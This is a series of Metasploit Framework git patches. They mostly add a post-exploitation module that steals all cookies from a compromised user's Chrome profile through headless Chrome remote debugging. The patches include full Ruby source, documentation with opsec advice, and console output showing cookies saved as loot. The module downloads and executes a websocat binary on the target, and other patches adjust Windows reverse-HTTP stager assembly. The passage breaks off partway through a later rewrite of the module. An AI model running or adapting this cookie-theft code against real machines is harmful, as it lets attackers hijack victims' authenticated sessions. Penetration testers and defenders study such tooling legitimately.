- if agent_info["DebugConfig"]["EnableScriptChecks"] == true + if agent_info["Config"]["EnableScriptChecks"] == true return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe From 3e571ff71a6181bcb47af1ced209c62084f54162 Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 29 Nov 2018 15:47:09 +0800 Subject: [PATCH 025/220] Compatible with REG_MULTI_SZ when set value. --- lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb index 43611b3345b2..cb633f7233c4 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb @@ -215,7 +215,7 @@ def Registry.set_value(hkey, name, type, data) request.add_tlv(TLV_TYPE_VALUE_NAME, name) request.add_tlv(TLV_TYPE_VALUE_TYPE, type) - if (type == REG_SZ) + if type == REG_SZ || type == REG_MULTI_SZ data += "\x00" elsif (type == REG_DWORD) data = [ data.to_i ].pack("V") @@ -237,7 +237,7 @@ def Registry.set_value_direct(root_key, base_key, name, type, data, perm = KEY_W request.add_tlv(TLV_TYPE_VALUE_NAME, name) request.add_tlv(TLV_TYPE_VALUE_TYPE, type) - if type == REG_SZ + if type == REG_SZ || type == REG_MULTI_SZ data += "\x00" elsif type == REG_DWORD data = [data.to_i].pack('V') From d0aca05c69953d6a880e94df9208d25f35e6472f Mon Sep 17 00:00:00 2001 From: Alex Date: Mon, 3 Dec 2018 16:07:50 +1100 Subject: [PATCH 026/220] Add post/chrome/gather/cookies module --- .../modules/post/chrome/gather/cookies.md | 113 +++++++++++ modules/post/chrome/gather/cookies.rb | 176 ++++++++++++++++++ 2 files changed, 289 insertions(+) create mode 100644 documentation/modules/post/chrome/gather/cookies.md create mode 100644 modules/post/chrome/gather/cookies.rb diff --git a/documentation/modules/post/chrome/gather/cookies.md b/documentation/modules/post/chrome/gather/cookies.md new file mode 100644 index 000000000000..129f305131e3 --- /dev/null +++ b/documentation/modules/post/chrome/gather/cookies.md @@ -0,0 +1,113 @@ +## Chrome Gather Cookies + +Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) and [Chrome's Remote Debugging](https://chromedevtools.github.io/devtools-protocol/) to read all cookies from the Default Chrome profile of the user. + +## Opsec + +There are several things this module does which are not considered stealthy. + +* Downloads and executes https://github.com/vi/websocat +* Writes to disk (deletes files after use) + +The reason for this is that the module needs a way to communicate via the websocket protocol on the target machine, since Remote Debugging is exposed only via a websocket URL. If you don't want to take these opsec risks, and have another way of reading and writing websocket data on the target machine, example Python code for a manual exploit can be found at https://github.com/defaultnamehere/cookie_crimes. + + +## Vulnerable Application + +This technique works on Chrome 59 or later on all operating systems. Note that this module does not yet support Windows, only Linux and macOS. + +Chrome does not need to be running on the target machine for this module to work. + +## Verification Steps + + 1. Obtain a session on the target machine + 2. Do: ```use post/chrome/gather/cookies``` + 3. Do: ```set SESSION ``` + 4. Do: ```run``` + +## Options + + **HEADLESS_URL** + + When Headless Chrome is opened, it needs a URL to browse to. The default is "about://blank" (an empty page in Chrome), but if you change this option, the target Chrome will make a fully authenticated request to the URL. This can be combined with Chrome's `--dump-dom` flag to print the HTML source of an authenticated HTTP request to the console. + + **CHROME_BINARY_PATH** + + The path to the user's Chrome binary. On Linux this defaults to searching for `google-chrome` in `$PATH`. On macOS, this defaults to `/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'`. If the module doesn't find any cookies, it may be that a different Chrome binary to the one the user normally uses is being run. In that case, you can change the Chrome binary executed with this option. + + **WEBSOCAT_STORAGE_PATH** + + Where to store the downloaded `websocat`. This module needs to speak the websocket protocol somehow, and `websocat` is used for this. It's stored in `/tmp/websocat` by default. + + **COOKIE_STORAGE_PATH** + + Path of the temporary file used to store cookies. + + Redirection to a file is used because `websocat` streams the data, and can't send cookies larger than 65535 bytes in one message. Streaming breaks metasploit's `cmd_exec` function, and so the cookies can't be read if they're larger than 65535 bytes. The cookies are temporarily written to disk as a workaround. + + **MAX_RETRIES** + + Chrome can take some time to make the `websocketDebuggerUrl` available at `localhost:9222/json`. This option specifies how many times to retry checking for a response from `localhost:9222/json`. + + **REMOTE_DEBUGGING_PORT** + Port to tell Chrome to expose Remote Debugging on. Default is the normal remote debugging port, `9222`. + +## Scenarios + +### Linux (or OS X) + + Suppose you've got a session on the target machine. + + To extract the target machine's Chrome cookies + + ``` + msf > use post/chrome/gather/cookies + msf post(chrome/gather/cookies) > set SESSION + + msf5 post(test/chrome_cookies) > options + + Module options (post/test/chrome_cookies): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CHROME_BINARY_PATH no The path to the user's Chrome binary (leave blank to use the default for the OS) + COOKIE_STORAGE_PATH /tmp/websocat.log no Where to write the retrieved cookies temporarily + HEADLESS_URL about://blank no The URL to load with the user's headless chrome + MAX_RETRIES 3 no Max retries for websocket request to Chrome remote debugging URL. + REMOTE_DEBUGGING_PORT 9222 no Port on target machine to use for remote debugging protocol + SESSION 1 yes The session to run this module on. + WEBSOCAT_STORAGE_PATH /tmp/websocat no Where to write the websocat binary temporarily while it is used + + msf post(chrome/gather/cookies) > run + + [*] Activated Chrome's Remote Debugging via google-chrome --headless --user-data-dir="/home/target_username/.config/google-chrome/" --remote-debugging-port=9222 about://blank + [!] Writing file /tmp/websocat to disk temporarily + [*] Downloading https://github.com/vi/websocat/releases/download/v1.2.0/websocat_nossl_i386-linux to /tmp/websocat + [!] Writing file /tmp/websocat.log to disk temporarily + [-] Error running echo '{"id": 1, "method": "Network.getAllCookies"}' | /tmp/websocat -q ws://localhost:9222/devtools/page/2BB6CD14146BFB67C4523D85A348508 > /tmp/websocat.log + [-] /bin/sh: 1: /tmp/websocat: Text file busy + [-] No data read from websocket debugger url ws://localhost:9222/devtools/page/2BB6CD14146BFB67C4523D85A348508. Retrying... (Retries left: 2) + [!] Writing file /tmp/websocat.log to disk temporarily + [+] Read 1470 cookies from ws://localhost:9222/devtools/page/2BB6CD14146BFB67C4523D85A348508 + [*] Deleted /tmp/websocat + [*] Deleted /tmp/websocat.log + [+] Chrome Cookies stored in /home/your_username/.msf4/loot/20181203153956_default_127.0.0.1_chrome.gather.co_192519.txt + [*] Post module execution completed + ``` + In this example, a race condition occurred between writing the websocat binary and executing it. The module caught this and retried so it can continue gracefully. + + +## Future features + +### Windows support +This technique works on Windows as well, this module just doesn't implement the Windows-specific functionality (the use of `websocat` to speak the websocket protocol, for example). + +### Profiles +This module only extracts cookies from the default Chrome profile. The target may have multiple, and you may which to extract cookies from all of them. This would require enumerating and extracting the profiles by name. Example code to extract cookies from a non-default Chrome profile can be found at https://github.com/defaultnamehere/cookie_crimes. + +## See also +See https://github.com/defaultnamehere/cookie_crimes for more information and manual instructions for Windows. + +See https://mango.pdf.zone/stealing-chrome-cookies-without-a-password for the blog post in which this technique was first published. + + diff --git a/modules/post/chrome/gather/cookies.rb b/modules/post/chrome/gather/cookies.rb new file mode 100644 index 000000000000..75138d0c23f6 --- /dev/null +++ b/modules/post/chrome/gather/cookies.rb @@ -0,0 +1,176 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'net/http' +require 'json' + +class MetasploitModule < Msf::Post + include Msf::Post::File + + GET_ALL_COOKIES_REQUEST = '{"id": 1, "method": "Network.getAllCookies"}'.freeze + WEBSOCAT_URL = 'https://github.com/vi/websocat/releases/download/v1.2.0/websocat_nossl_'.freeze + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chrome Gather Cookies', + 'Description' => " + Read all cookies from the Default Chrome profile of the target user. Downloads and executes https://github.com/vi/websocat to communicate with the remote debugging interface Chrome exposes, and writes to disk. + ", + 'License' => MSF_LICENSE, + 'Author' => ['mangopdf '], + 'Platform' => %w[linux unix bsd osx python], + 'SessionTypes' => %w[meterpreter shell])) + + register_options( + [ + OptString.new('CHROME_BINARY_PATH', [false, 'The path to the user\'s Chrome binary (leave blank to use the default for the OS)', '']), + OptString.new('HEADLESS_URL', [false, 'The URL to load with the user\'s headless chrome', 'about://blank']), + OptString.new('WEBSOCAT_STORAGE_PATH', [false, 'Where to write the websocat binary temporarily while it is used', '/tmp/websocat']), + OptString.new('COOKIE_STORAGE_PATH', [false, 'Where to write the retrieved cookies temporarily', '/tmp/websocat.log']), + OptInt.new('MAX_RETRIES', [false, 'Max retries for websocket request to Chrome remote debugging URL', 3]), + OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222]) + ], self.class + ) + end + + + def configure_for_platform + vprint_status('Determining session platform') + vprint_status("Platform: #{session.platform}") + vprint_status("Type: #{session.type}") + + case session.platform + when 'unix', 'linux', 'bsd', 'python' + @platform = :unix + @chrome = 'google-chrome' + @user_data_dir = "/home/#{session.username}/.config/google-chrome/" + @websocat_url_suffix = 'i386-linux' + when 'osx' + @platform = :osx + @chrome = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' + @user_data_dir = expand_path "/Users/#{session.username}/Library/Application Support/Google/Chrome" + @websocat_url_suffix = 'mac' + when 'windows' + print_error "Windows isn't supported by this module. See github.com/defaultnamehere/cookie_crimes for manual instructions." + @platform = :windows + return + else + print_error "Unsupported platform: #{session.platform}" + return + end + + unless datastore['CHROME_BINARY_PATH'].empty? + @chrome = datastore['CHROME_BINARY_PATH'] + end + + @chrome_debugging_cmd = "#{@chrome} --headless --user-data-dir=\"#{@user_data_dir}\" --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']} #{datastore['HEADLESS_URL']}" + + nil + end + + def activate_remote_debugging + @debugger_pid = cmd_exec_get_pid(@chrome_debugging_cmd) + print_status("Activated Chrome's Remote Debugging via #{@chrome_debugging_cmd}") + + # Sleep so the Chrome process has time to start and open + # the tab before we query the remote debugging port. + # You may need a longer sleep time on a slower machine. + sleep 2.seconds + end + + def get_websocket_url + response = cmd_exec("curl -s http://localhost:#{datastore['REMOTE_DEBUGGING_PORT']}/json") + websocket_url = JSON.parse(response)[0]['webSocketDebuggerUrl'] + vprint_status("Found webSocketDebuggerUrl #{websocket_url}") + websocket_url + end + + def download_websocat + if Pathname.new(@websocat_storage_path).exist? + print_status "websocat binary already exists at #{@websocat_storage_path}, skipping download" + return + end + + url = WEBSOCAT_URL + @websocat_url_suffix + print_warning "Writing websocat binary to #{@websocat_storage_path} temporarily" + print_status "Downloading #{url} to #{@websocat_storage_path}" + cmd_exec "curl -L #{url} > #{@websocat_storage_path}" + cmd_exec "chmod +x #{@websocat_storage_path}" + vprint_status 'Download complete' + + # Sleep here because there's sometimes a race condition ("file busy") between the binary being downloaded and executed. + sleep 5.seconds + end + + def cleanup_websocat + cmd_exec "rm #{@websocat_storage_path}" + print_status "Deleted #{@websocat_storage_path}" + cmd_exec "rm #{@cookie_storage_path}" + print_status "Deleted #{@cookie_storage_path}" + end + + def get_cookies(ws_url) + + download_websocat + + begin + # Redirect to a file because websocat streams the data, and can't send cookies larger than 65535 bytes in one message. + # This breaks cmd_exec, which cuts off the data partway. We're already writing to disk anyway, so I sure hope this is a good enough opsec tradeoff. + print_warning "Writing cookies to #{@cookie_storage_path} temporarily" + cmd = "echo '#{GET_ALL_COOKIES_REQUEST}' | #{@websocat_storage_path} -q #{ws_url} > #{@cookie_storage_path}" + errors = cmd_exec cmd + + unless errors.empty? + print_bad "Error running #{cmd}" + print_error errors + end + + cookies = File.read "#{@cookie_storage_path}" + + # The websocket debugger URL is sometimes flaky, for whatever reason, so + # retry a few times. + if cookies.empty? + raise "No data read from websocket debugger url #{ws_url}" + end + + # The cookies might be split into more than one message, delimited by '\n'. Remove them if so. + cookies = cookies.delete "\n" + + result = JSON.parse cookies + cookies = result['result']['cookies'] + print_good "Read #{cookies.length} cookies from #{ws_url}" + rescue RuntimeError + raise "Could not read any data from websocket debugger url #{ws_url}" if @retries.zero? + + print_bad "No data read from websocket debugger url #{ws_url}. Retrying... (Retries left: #{@retries -= 1})" + sleep 5.seconds + retry + end + + cleanup_websocat + + cookies + end + + def save(msg, data, ctype = 'text/json') + ltype = 'chrome.gather.cookies' + loot = store_loot ltype, ctype, session, data, nil, msg + print_good "#{msg} stored in #{loot}" + end + + def run + print_error 'No session found, giving up' if session.nil? + + @retries = datastore['MAX_RETRIES'] + @websocat_storage_path = datastore['WEBSOCAT_STORAGE_PATH'] + @cookie_storage_path = datastore['COOKIE_STORAGE_PATH'] + + configure_for_platform + activate_remote_debugging + websocket_url = get_websocket_url + cookies = get_cookies websocket_url + save 'Chrome Cookies', cookies.to_json + end +end From f8389d9eb2e2ac1c014a44df67a2ef40c4e5896e Mon Sep 17 00:00:00 2001 From: Alex Date: Mon, 3 Dec 2018 16:13:47 +1100 Subject: [PATCH 027/220] Update documentation for post/chrome/gather/cookies --- documentation/modules/post/chrome/gather/cookies.md | 1 + 1 file changed, 1 insertion(+) diff --git a/documentation/modules/post/chrome/gather/cookies.md b/documentation/modules/post/chrome/gather/cookies.md index 129f305131e3..5feb1bc9f690 100644 --- a/documentation/modules/post/chrome/gather/cookies.md +++ b/documentation/modules/post/chrome/gather/cookies.md @@ -24,6 +24,7 @@ Chrome does not need to be running on the target machine for this module to work 2. Do: ```use post/chrome/gather/cookies``` 3. Do: ```set SESSION ``` 4. Do: ```run``` + 5. The current user's Chrome cookies will be stored as loot ## Options From 58dde9ff33fe05b37cb8047658fa0f42ed00d025 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 3 Dec 2018 18:39:07 +1100 Subject: [PATCH 028/220] Apply suggestions from code review Co-Authored-By: defaultnamehere --- modules/post/chrome/gather/cookies.rb | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/post/chrome/gather/cookies.rb b/modules/post/chrome/gather/cookies.rb index 75138d0c23f6..4d9a97752c88 100644 --- a/modules/post/chrome/gather/cookies.rb +++ b/modules/post/chrome/gather/cookies.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,18 +20,18 @@ def initialize(info = {}) ", 'License' => MSF_LICENSE, 'Author' => ['mangopdf '], - 'Platform' => %w[linux unix bsd osx python], + 'Platform' => %w[linux unix bsd osx], 'SessionTypes' => %w[meterpreter shell])) register_options( [ - OptString.new('CHROME_BINARY_PATH', [false, 'The path to the user\'s Chrome binary (leave blank to use the default for the OS)', '']), - OptString.new('HEADLESS_URL', [false, 'The URL to load with the user\'s headless chrome', 'about://blank']), + OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']), + OptString.new('HEADLESS_URL', [false, "The URL to load with the user's headless chrome", 'about://blank']), OptString.new('WEBSOCAT_STORAGE_PATH', [false, 'Where to write the websocat binary temporarily while it is used', '/tmp/websocat']), OptString.new('COOKIE_STORAGE_PATH', [false, 'Where to write the retrieved cookies temporarily', '/tmp/websocat.log']), OptInt.new('MAX_RETRIES', [false, 'Max retries for websocket request to Chrome remote debugging URL', 3]), OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222]) - ], self.class + ] ) end @@ -88,7 +88,7 @@ def get_websocket_url end def download_websocat - if Pathname.new(@websocat_storage_path).exist? + if file_exist? @websocat_storage_path print_status "websocat binary already exists at #{@websocat_storage_path}, skipping download" return end @@ -97,7 +97,7 @@ def download_websocat print_warning "Writing websocat binary to #{@websocat_storage_path} temporarily" print_status "Downloading #{url} to #{@websocat_storage_path}" cmd_exec "curl -L #{url} > #{@websocat_storage_path}" - cmd_exec "chmod +x #{@websocat_storage_path}" + chmod @websocat_storage_path vprint_status 'Download complete' # Sleep here because there's sometimes a race condition ("file busy") between the binary being downloaded and executed. @@ -105,9 +105,9 @@ def download_websocat end def cleanup_websocat - cmd_exec "rm #{@websocat_storage_path}" + rm_f @websocat_storage_path print_status "Deleted #{@websocat_storage_path}" - cmd_exec "rm #{@cookie_storage_path}" + rm_f @cookie_storage_path print_status "Deleted #{@cookie_storage_path}" end @@ -127,7 +127,7 @@ def get_cookies(ws_url) print_error errors end - cookies = File.read "#{@cookie_storage_path}" + cookies = read_file "#{@cookie_storage_path}" # The websocket debugger URL is sometimes flaky, for whatever reason, so # retry a few times. @@ -161,7 +161,7 @@ def save(msg, data, ctype = 'text/json') end def run - print_error 'No session found, giving up' if session.nil? + fail_with Failure::BadConfig, 'No session found, giving up' if session.nil? @retries = datastore['MAX_RETRIES'] @websocat_storage_path = datastore['WEBSOCAT_STORAGE_PATH'] From 6f8fc55b863f6c15c6a9a7c5a071e1b05c76201e Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 7 Dec 2018 14:03:03 -0600 Subject: [PATCH 029/220] set user agent in Windows reverse_http(s) stagers --- lib/msf/core/payload/windows/reverse_http.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index eedf4cfab0fe..5f2e3ed8a303 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -265,7 +265,10 @@ def asm_reverse_http(opts={}) get_proxy_server: ; LPCTSTR lpszProxyName (via call) push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) - push ebx ; LPCTSTR lpszAgent (NULL) + call get_useragent + db "#{opts[:ua]}", 0x00 + ; LPCTSTR lpszAgent (via call) + get_useragent: push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} call ebp ^ @@ -276,7 +279,10 @@ def asm_reverse_http(opts={}) push ebx ; LPCTSTR lpszProxyBypass (NULL) push ebx ; LPCTSTR lpszProxyName (NULL) push ebx ; DWORD dwAccessType (PRECONFIG = 0) - push ebx ; LPCTSTR lpszAgent (NULL) + call get_useragent + db "#{opts[:ua]}", 0x00 + ; LPCTSTR lpszAgent (via call) + get_useragent: push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} call ebp ^ From 3dca52510d925cf4c0a48302d7a9bfd0e8247b1e Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 8 Dec 2018 06:23:35 -0600 Subject: [PATCH 030/220] pass NULL if the UA field is empty --- lib/msf/core/payload/windows/reverse_http.rb | 29 ++++++++++++-------- 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 5f2e3ed8a303..8c314cab8d60 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -255,38 +255,43 @@ def asm_reverse_http(opts={}) xor ebx, ebx ; Set ebx to NULL to use in future arguments ^ + asm << %Q^ + internetopen: + push ebx ; DWORD dwFlags + ^ if proxy_enabled asm << %Q^ - internetopen: - push ebx ; DWORD dwFlags push esp ; LPCTSTR lpszProxyBypass ("" = empty string) call get_proxy_server db "#{proxy_info}", 0x00 get_proxy_server: ; LPCTSTR lpszProxyName (via call) push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) - call get_useragent - db "#{opts[:ua]}", 0x00 - ; LPCTSTR lpszAgent (via call) - get_useragent: - push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} - call ebp ^ else asm << %Q^ - internetopen: - push ebx ; DWORD dwFlags push ebx ; LPCTSTR lpszProxyBypass (NULL) push ebx ; LPCTSTR lpszProxyName (NULL) push ebx ; DWORD dwAccessType (PRECONFIG = 0) + ^ + end + if opts[:ua].to_s.empty? + asm << %Q^ + push ebx ; LPCTSTR lpszAgent (NULL) + ^ + else + asm << %Q^ + push ebx ; LPCTSTR lpszProxyBypass (NULL) call get_useragent db "#{opts[:ua]}", 0x00 ; LPCTSTR lpszAgent (via call) get_useragent: - push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} - call ebp ^ end + asm << %Q^ + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} + call ebp + ^ asm << %Q^ internetconnect: From 0ce05f0c07c298973e1f174dfd257e9068f11196 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 8 Dec 2018 06:24:02 -0600 Subject: [PATCH 031/220] update payload sizes --- modules/payloads/stagers/windows/reverse_http.rb | 2 +- modules/payloads/stagers/windows/reverse_https.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 819f4848b964..bccd6520b837 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -8,7 +8,7 @@ module MetasploitModule - CachedSize = 347 + CachedSize = 414 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 31e6d29a13e9..93d83133b4f1 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -8,7 +8,7 @@ module MetasploitModule - CachedSize = 367 + CachedSize = 434 include Msf::Payload::Stager include Msf::Payload::Windows From c5015c62b818e6354b569e1f2d5ff6c8b55d99f1 Mon Sep 17 00:00:00 2001 From: Alex Date: Sun, 9 Dec 2018 09:52:45 +1100 Subject: [PATCH 032/220] Simplify Chrome Gather Cookies Module now uses Chrome itself as a websocket client, reading websockets via js. It no longer downloads and executes `websocat`. --- .../modules/post/chrome/gather/cookies.md | 114 ------------ .../post/multi/gather/chrome_cookies.md | 86 +++++++++ modules/post/chrome/gather/cookies.rb | 176 ------------------ modules/post/multi/gather/chrome_cookies.rb | 147 +++++++++++++++ 4 files changed, 233 insertions(+), 290 deletions(-) delete mode 100644 documentation/modules/post/chrome/gather/cookies.md create mode 100644 documentation/modules/post/multi/gather/chrome_cookies.md delete mode 100644 modules/post/chrome/gather/cookies.rb create mode 100644 modules/post/multi/gather/chrome_cookies.rb diff --git a/documentation/modules/post/chrome/gather/cookies.md b/documentation/modules/post/chrome/gather/cookies.md deleted file mode 100644 index 5feb1bc9f690..000000000000 --- a/documentation/modules/post/chrome/gather/cookies.md +++ /dev/null @@ -1,114 +0,0 @@ -## Chrome Gather Cookies - -Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) and [Chrome's Remote Debugging](https://chromedevtools.github.io/devtools-protocol/) to read all cookies from the Default Chrome profile of the user. - -## Opsec - -There are several things this module does which are not considered stealthy. - -* Downloads and executes https://github.com/vi/websocat -* Writes to disk (deletes files after use) - -The reason for this is that the module needs a way to communicate via the websocket protocol on the target machine, since Remote Debugging is exposed only via a websocket URL. If you don't want to take these opsec risks, and have another way of reading and writing websocket data on the target machine, example Python code for a manual exploit can be found at https://github.com/defaultnamehere/cookie_crimes. - - -## Vulnerable Application - -This technique works on Chrome 59 or later on all operating systems. Note that this module does not yet support Windows, only Linux and macOS. - -Chrome does not need to be running on the target machine for this module to work. - -## Verification Steps - - 1. Obtain a session on the target machine - 2. Do: ```use post/chrome/gather/cookies``` - 3. Do: ```set SESSION ``` - 4. Do: ```run``` - 5. The current user's Chrome cookies will be stored as loot - -## Options - - **HEADLESS_URL** - - When Headless Chrome is opened, it needs a URL to browse to. The default is "about://blank" (an empty page in Chrome), but if you change this option, the target Chrome will make a fully authenticated request to the URL. This can be combined with Chrome's `--dump-dom` flag to print the HTML source of an authenticated HTTP request to the console. - - **CHROME_BINARY_PATH** - - The path to the user's Chrome binary. On Linux this defaults to searching for `google-chrome` in `$PATH`. On macOS, this defaults to `/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'`. If the module doesn't find any cookies, it may be that a different Chrome binary to the one the user normally uses is being run. In that case, you can change the Chrome binary executed with this option. - - **WEBSOCAT_STORAGE_PATH** - - Where to store the downloaded `websocat`. This module needs to speak the websocket protocol somehow, and `websocat` is used for this. It's stored in `/tmp/websocat` by default. - - **COOKIE_STORAGE_PATH** - - Path of the temporary file used to store cookies. - - Redirection to a file is used because `websocat` streams the data, and can't send cookies larger than 65535 bytes in one message. Streaming breaks metasploit's `cmd_exec` function, and so the cookies can't be read if they're larger than 65535 bytes. The cookies are temporarily written to disk as a workaround. - - **MAX_RETRIES** - - Chrome can take some time to make the `websocketDebuggerUrl` available at `localhost:9222/json`. This option specifies how many times to retry checking for a response from `localhost:9222/json`. - - **REMOTE_DEBUGGING_PORT** - Port to tell Chrome to expose Remote Debugging on. Default is the normal remote debugging port, `9222`. - -## Scenarios - -### Linux (or OS X) - - Suppose you've got a session on the target machine. - - To extract the target machine's Chrome cookies - - ``` - msf > use post/chrome/gather/cookies - msf post(chrome/gather/cookies) > set SESSION - - msf5 post(test/chrome_cookies) > options - - Module options (post/test/chrome_cookies): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - CHROME_BINARY_PATH no The path to the user's Chrome binary (leave blank to use the default for the OS) - COOKIE_STORAGE_PATH /tmp/websocat.log no Where to write the retrieved cookies temporarily - HEADLESS_URL about://blank no The URL to load with the user's headless chrome - MAX_RETRIES 3 no Max retries for websocket request to Chrome remote debugging URL. - REMOTE_DEBUGGING_PORT 9222 no Port on target machine to use for remote debugging protocol - SESSION 1 yes The session to run this module on. - WEBSOCAT_STORAGE_PATH /tmp/websocat no Where to write the websocat binary temporarily while it is used - - msf post(chrome/gather/cookies) > run - - [*] Activated Chrome's Remote Debugging via google-chrome --headless --user-data-dir="/home/target_username/.config/google-chrome/" --remote-debugging-port=9222 about://blank - [!] Writing file /tmp/websocat to disk temporarily - [*] Downloading https://github.com/vi/websocat/releases/download/v1.2.0/websocat_nossl_i386-linux to /tmp/websocat - [!] Writing file /tmp/websocat.log to disk temporarily - [-] Error running echo '{"id": 1, "method": "Network.getAllCookies"}' | /tmp/websocat -q ws://localhost:9222/devtools/page/2BB6CD14146BFB67C4523D85A348508 > /tmp/websocat.log - [-] /bin/sh: 1: /tmp/websocat: Text file busy - [-] No data read from websocket debugger url ws://localhost:9222/devtools/page/2BB6CD14146BFB67C4523D85A348508. Retrying... (Retries left: 2) - [!] Writing file /tmp/websocat.log to disk temporarily - [+] Read 1470 cookies from ws://localhost:9222/devtools/page/2BB6CD14146BFB67C4523D85A348508 - [*] Deleted /tmp/websocat - [*] Deleted /tmp/websocat.log - [+] Chrome Cookies stored in /home/your_username/.msf4/loot/20181203153956_default_127.0.0.1_chrome.gather.co_192519.txt - [*] Post module execution completed - ``` - In this example, a race condition occurred between writing the websocat binary and executing it. The module caught this and retried so it can continue gracefully. - - -## Future features - -### Windows support -This technique works on Windows as well, this module just doesn't implement the Windows-specific functionality (the use of `websocat` to speak the websocket protocol, for example). - -### Profiles -This module only extracts cookies from the default Chrome profile. The target may have multiple, and you may which to extract cookies from all of them. This would require enumerating and extracting the profiles by name. Example code to extract cookies from a non-default Chrome profile can be found at https://github.com/defaultnamehere/cookie_crimes. - -## See also -See https://github.com/defaultnamehere/cookie_crimes for more information and manual instructions for Windows. - -See https://mango.pdf.zone/stealing-chrome-cookies-without-a-password for the blog post in which this technique was first published. - - diff --git a/documentation/modules/post/multi/gather/chrome_cookies.md b/documentation/modules/post/multi/gather/chrome_cookies.md new file mode 100644 index 000000000000..7b516c63fd2c --- /dev/null +++ b/documentation/modules/post/multi/gather/chrome_cookies.md @@ -0,0 +1,86 @@ +## Gather Chrome Cookies + +Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) and [Chrome's Remote Debugging](https://chromedevtools.github.io/devtools-protocol/) to read all cookies from the Default Chrome profile of the user. + +## Opsec + +This writes to disk temporarily. You may want to consider the tradeoff between getting the user's Chrome cookies and the noisiness of writing to disk. + +The module writes a random 10-15 character file containing HTML to a directory you can specify via `TEMP_STORAGE_DIR`. + +## Vulnerable Application + +This technique works on Chrome 59 or later on all operating systems. Note that this module does not yet support Windows, only Linux and macOS. + +Chrome does not need to be running on the target machine for this module to work. + +## Verification Steps + + 1. Obtain a session on the target machine + 2. Do: ```use post/multi/gather/chrome_cookies``` + 3. Do: ```set SESSION ``` + 4. Do: ```run``` + 5. The current user's Chrome cookies will be stored as loot + +## Options + + + **CHROME_BINARY_PATH** + + The path to the user's Chrome binary. On Linux this defaults to searching for `google-chrome` in `$PATH`. On macOS, this defaults to `/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'`. If the module doesn't find any cookies, it may be that a different Chrome binary to the one the user normally uses is being run. In that case, you can change the Chrome binary executed with this option. + + **TEMP_STORAGE_DIR** + + Directory used to write temporary files. + + Only one file is written, with a random 10-15 character alphanumeric filename. This file is html to be read by Chrome, and is deleted after use. + + **REMOTE_DEBUGGING_PORT** + + Port to tell Chrome to expose Remote Debugging on. Default is the normal remote debugging port, `9222`. + +## Scenarios + +### Linux (or OS X) + + Suppose you've got a session on the target machine. + + To extract the target user's Chrome cookies + +``` +msf > use post/multi/gather/chrome_cookies +msf post(multi/gather/chrome_cookies) > options + +Module options (post/multi/gather/chrome_cookies): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CHROME_BINARY_PATH no The path to the user's Chrome binary (leave blank to use the default for the OS) + REMOTE_DEBUGGING_PORT 9222 no Port on target machine to use for remote debugging protocol + SESSION 1 yes The session to run this module on. + TEMP_STORAGE_DIR /tmp no Where to write the html used to steal cookies temporarily + +msf post(multi/gather/chrome_cookies) > set session +session => +msf post(multi/gather/chrome_cookies) > run + +[*] Activated Chrome's Remote Debugging via google-chrome --headless 